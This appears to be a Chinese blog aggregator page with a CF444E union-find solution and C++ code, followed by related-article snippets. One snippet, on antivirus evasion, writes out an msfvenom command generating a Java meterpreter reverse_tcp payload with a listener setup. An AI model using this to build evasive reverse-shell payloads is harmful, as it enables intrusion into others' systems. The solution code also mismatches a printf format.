当前位置: 首页 > news >正文

与树上边权、连通块、二分块相关的问题(抓住各连通块之间的联系,考虑增量):CF444E

https://www.luogu.com.cn/problem/CF444E

首先肯定二分

然后是棵树,所以考虑按顺序枚举边权

然后肯定会有连通块和并查集

考虑现在场上有多个连通块,我们只保留大于 m i d mid mid 的边

则每个连通块都必须往外连边

一个很朴素的思路是判定每个连通块外面是否够 ∑ x i > w \sum x_i>w xi>w,看起来是错的,但其实是对的

考虑其代价和贡献,因为有 x i ≥ 1 x_i\ge 1 xi1,所以当他在外面取 w w w 走时,至少会放回 w w w 进去,满足 ∑ x i \sum x_i xi 不减

然后就完事了

然后你可以发现按顺序枚举边,判断啥时候不合法,甚至不需要二分


#include<bits/stdc++.h>
using namespace std;
//#define int long long 
inline int read(){int x=0,f=1;char ch=getchar(); while(ch<'0'||
ch>'9'){if(ch=='-')f=-1;ch=getchar();}while(ch>='0'&&ch<='9'){
x=(x<<1)+(x<<3)+(ch^48);ch=getchar();}return x*f;}
#define Z(x) (x)*(x)
#define pb push_back
//mt19937 rand(time(0));
//mt19937_64 rand(time(0));
//srand(time(0));
#define N 3010
//#define M
//#define mo
struct node {int u, v, w; 
}a[N];
int n, m, i, j, k, T, u, v, w[N], val[N], f[N], sum;int fa(int x) {if(f[x]==x) return x; return f[x]=fa(f[x]); 
}signed main()
{
//	freopen("in.txt", "r", stdin);
//	freopen("out.txt", "w", stdout);
//	T=read();
//	while(T--) {
//
//	}n=read(); for(i=1; i<n; ++i) a[i].u=read(), a[i].v=read(), a[i].w=read(); for(i=1; i<=n; ++i) f[i]=i, val[i]=read(), w[i]=1, sum+=val[i]; sort(a+1, a+n, [] (node x, node y) { return x.w<y.w; }); for(i=1; i<n; ++i) {u=fa(a[i].u); v=fa(a[i].v); f[u]=v; w[v]+=w[u]; val[v]+=val[u]; if(w[v]>sum-val[v]) return printf("%lld", a[i].w), 0; }printf("%d", a[n-1].w); return 0;
}

相关文章:

与树上边权、连通块、二分块相关的问题(抓住各连通块之间的联系,考虑增量):CF444E

https://www.luogu.com.cn/problem/CF444E 首先肯定二分 然后是棵树&#xff0c;所以考虑按顺序枚举边权 然后肯定会有连通块和并查集 考虑现在场上有多个连通块&#xff0c;我们只保留大于 m i d mid mid 的边 则每个连通块都必须往外连边 一个很朴素的思路是判定每个连…...

解决VSCode下载速度很慢

这是VSCode的官网&#xff1a; Visual Studio Code - Code Editing. Redefined 按照官网的下载链接&#xff0c;速度实在是感人&#xff01; 解决办法也很简单&#xff0c;把链接换为CDN加速的链接 把下载链接中的az764295.vo.msecnd.net 替换为&#x1f449; vscode.cdn.azu…...

悬赏算命测算源码可以用二维码收款 可以直接拿来运营

首发悬赏算命测算源码可以用二维码收款 可以直接拿来运营吸金&#xff01;用户可以通过发布悬赏赏金算命&#xff0c;也可以通过升级发布测算任务来吸金 测试环境&#xff1a;php5.6apache2.4mysq5.6 安装教程&#xff1a; 测试环境&#xff1a;php5.6apache2.4mysq5.6 安装&…...

在Linux中安装nginx-1.20.1+php-7.4.28(增加扩展)

NginxPHP安装在公网IP为x.x.x.x的服务器上 需要下载安装的软件版本&#xff1a;nginx-1.20.1php-7.4.28 需要增加的PHP扩展如下&#xff1a; 在编译安装php-7.4.28时加上的pcntl&#xff1b; 单独下载安装的Wxwork_finance_sdk&#xff1b;&#xff08;在编译安装php-7.4.2…...

使用vue-cli搭建SPA项目

一.SPA项目的构建 前提 nodeJS环境已经搭建完毕 node -v npm -v 什么是SPA项目 SPA&#xff08;Single Page Application&#xff09;项目是一种使用单页面架构的Web应用项目。在SPA项目中&#xff0c;整个应用程序只有一个HTML页面&#xff0c;通过动态加载数据和更新DOM来实…...

PLC串口通讯和通讯接口知识汇总

在使用PLC的时候会接触到很多的通讯协议以及通讯接口&#xff0c;最基本的PLC串口通讯和基本的通讯接口你都了解吗&#xff1f; 一、什么是串口通讯&#xff1f; 串口是一种接口标准&#xff0c;是计算机上一种非常通用设备通信的协议。它规定了接口的电气标准&#xff0c;没…...

Vue基础入门---详细简介

一&#xff0c;对Vue的概念 1.1 什么是Vue &#xff1f; 一种流行的JavaScript前端框架&#xff0c;用于构建交互式的Web应用程序。它以简洁、灵活和高效的特性而受到广泛欢迎。Vue采用了一种响应式的数据绑定机制&#xff0c;使得数据的变化能够自动更新相关的DOM元素&#x…...

Qt重写QTreeWidget实现拖拽

介绍 此文章记录QTreeWidget的重写进度&#xff0c;暂时停滞使用&#xff0c;重写了QTreeWidget的拖拽功能&#xff0c;和绘制功能&#xff0c;自定义了数据结构&#xff0c;增加复制&#xff0c;粘贴&#xff0c;删除&#xff0c;准备实现动态刷新数据支持千万数据动态刷新&a…...

【Spring Boot】拦截器学习笔记

一、普通拦截器 1&#xff0c;新建类MyWebConfig实现WebMvcConfigurer&#xff0c;实现addInterceptors方法 Overridepublic void addInterceptors(InterceptorRegistry registry) {registry// 不拦截哪些请求.excludePathPatterns("/login")// 拦截哪些请求.addPat…...

云可观测性:提升云环境中应用程序可靠性

随着云计算的兴起和广泛应用&#xff0c;越来越多的企业将其应用程序和服务迁移到云环境中。在这个高度动态的环境中&#xff0c;确保应用程序的可靠性和可管理性成为了一个迫切的需求。云可观测性作为一种解决方案&#xff0c;针对这一需求提供了有效的方法和工具。本文将介绍…...

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令&#xff1a;msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包&#xff0c;成功上线 命令&#xff1…...

抖音、知乎、小红书的流量算法

目前我国网民规模已超过10亿&#xff0c;在这互联网时代&#xff0c;更是流量为王。各个平台里的每个视频、每张图片&#xff0c;背后都有着算法的身影&#xff0c;支配着所有人的流量。作为内容创作者及运营者来说&#xff0c;除了制作高质量的内容以外&#xff0c;也需要掌握…...

c++ 纯虚函数、抽象类

一、 纯虚函数 抽象类 只要有一个纯虚函数&#xff0c;这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类&#xff0c;必须要重写父类中的纯虚函数&#xff0c;否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…...

echarts另外存为图片

今天同事画了个Echarts,我看了下居然有下载功能&#xff01;&#xff01;&#xff01;&#xff01;&#xff08;之前一直不知道&#xff09; 这是原图&#xff0c;右上角有个下载功能&#xff0c; 下载后是这样的 貌似是没有了y轴的参数和x轴的参数&#xff0c;估计是可以配置的…...

Mybatis返回自动递增主键值,通过实体

如果你在数据库中使用了自动递增的主键&#xff08;通常是整数类型&#xff09;&#xff0c;你可以使用 MyBatis 来返回插入记录后生成的自动递增的 ID。这里是一个示例&#xff1a; 首先&#xff0c;在你的 SQL 映射文件中&#xff0c;使用 <insert> 元素来执行插入操作…...

如何在 Excel 中求平方根

需要在 Excel 中求一个数字的平方根吗&#xff1f;使用几个内置的 Excel 函数和公式可以轻松计算平方根。在本分步指南中&#xff0c;您将学习在 Excel 中计算平方根的 5 种不同方法&#xff0c;包括使用 SQRT 函数、POWER 函数、指数公式、VBA 代码和 Power Query。跟随教程&a…...

苹果手机无法正常使用小程序和APP

小程序、APP 已使用了几年&#xff0c;突然大量反馈&#xff1a;苹果手机无法正常使用。但不是全部&#xff0c;只是部分手机。 因为同事苹果手机都能用&#xff0c;所以无法准确判断具体原因。 后来同事苹果手机也无法使用了&#xff0c;显示&#xff1a; 网上搜索结果&…...

【Axure教程】用中继器制作双坐标柱状折线图

双坐标柱状折线图常用于同时展示两组数据的图表类型&#xff0c;每组数据都有自己的纵坐标轴&#xff08;Y轴&#xff09;。一组数据通常用柱状图表示&#xff0c;而另一组数据则用折线图表示。这种图表类型有助于比较两组数据之间的关系和趋势。 那今天作者就教大家&#xff…...

C 风格文件输入/输出---错误处理---(std::clearerr,std::feof,std::ferror,std::perror)

C 标准库的 C I/O 子集实现 C 风格流输入/输出操作。 <cstdio> 头文件提供通用文件支持并提供有窄和多字节字符输入/输出能力的函数&#xff0c;而 <cwchar>头文件提供有宽字符输入/输出能力的函数。 错误处理 清除错误 std::clearerr void clearerr( std::FILE…...

mysql 主从复制 mysql版本5.7.35

文章目录 1.注意要点2.环境3.MySQL 主从配置的步骤&#xff1a;主从库新增DB主服务配置my.cnf从服务配置my.cnf主服务器创建复制用户从服务器执行复制 外传 MySQL 主从复制&#xff08;Master-Slave Replication&#xff09;是一个常用的高可用性和可扩展性解决方案。通过主从复…...

云原生核心技术 (7/12): K8s 核心概念白话解读(上):Pod 和 Deployment 究竟是什么?

大家好&#xff0c;欢迎来到《云原生核心技术》系列的第七篇&#xff01; 在上一篇&#xff0c;我们成功地使用 Minikube 或 kind 在自己的电脑上搭建起了一个迷你但功能完备的 Kubernetes 集群。现在&#xff0c;我们就像一个拥有了一块崭新数字土地的农场主&#xff0c;是时…...

在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能

下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能&#xff0c;包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...

高危文件识别的常用算法:原理、应用与企业场景

高危文件识别的常用算法&#xff1a;原理、应用与企业场景 高危文件识别旨在检测可能导致安全威胁的文件&#xff0c;如包含恶意代码、敏感数据或欺诈内容的文档&#xff0c;在企业协同办公环境中&#xff08;如Teams、Google Workspace&#xff09;尤为重要。结合大模型技术&…...

论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)

笔记整理&#xff1a;刘治强&#xff0c;浙江大学硕士生&#xff0c;研究方向为知识图谱表示学习&#xff0c;大语言模型 论文链接&#xff1a;http://arxiv.org/abs/2407.16127 发表会议&#xff1a;ISWC 2024 1. 动机 传统的知识图谱补全&#xff08;KGC&#xff09;模型通过…...

VTK如何让部分单位不可见

最近遇到一个需求&#xff0c;需要让一个vtkDataSet中的部分单元不可见&#xff0c;查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行&#xff0c;是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示&#xff0c;主要是最后一个参数&#xff0c;透明度…...

如何在最短时间内提升打ctf(web)的水平?

刚刚刷完2遍 bugku 的 web 题&#xff0c;前来答题。 每个人对刷题理解是不同&#xff0c;有的人是看了writeup就等于刷了&#xff0c;有的人是收藏了writeup就等于刷了&#xff0c;有的人是跟着writeup做了一遍就等于刷了&#xff0c;还有的人是独立思考做了一遍就等于刷了。…...

JAVA后端开发——多租户

数据隔离是多租户系统中的核心概念&#xff0c;确保一个租户&#xff08;在这个系统中可能是一个公司或一个独立的客户&#xff09;的数据对其他租户是不可见的。在 RuoYi 框架&#xff08;您当前项目所使用的基础框架&#xff09;中&#xff0c;这通常是通过在数据表中增加一个…...

VM虚拟机网络配置(ubuntu24桥接模式):配置静态IP

编辑-虚拟网络编辑器-更改设置 选择桥接模式&#xff0c;然后找到相应的网卡&#xff08;可以查看自己本机的网络连接&#xff09; windows连接的网络点击查看属性 编辑虚拟机设置更改网络配置&#xff0c;选择刚才配置的桥接模式 静态ip设置&#xff1a; 我用的ubuntu24桌…...

mac 安装homebrew (nvm 及git)

mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用&#xff1a; 方法一&#xff1a;使用 Homebrew 安装 Git&#xff08;推荐&#xff09; 步骤如下&#xff1a;打开终端&#xff08;Terminal.app&#xff09; 1.安装 Homebrew…...

BLEU评分:机器翻译质量评估的黄金标准

BLEU评分&#xff1a;机器翻译质量评估的黄金标准 1. 引言 在自然语言处理(NLP)领域&#xff0c;衡量一个机器翻译模型的性能至关重要。BLEU (Bilingual Evaluation Understudy) 作为一种自动化评估指标&#xff0c;自2002年由IBM的Kishore Papineni等人提出以来&#xff0c;…...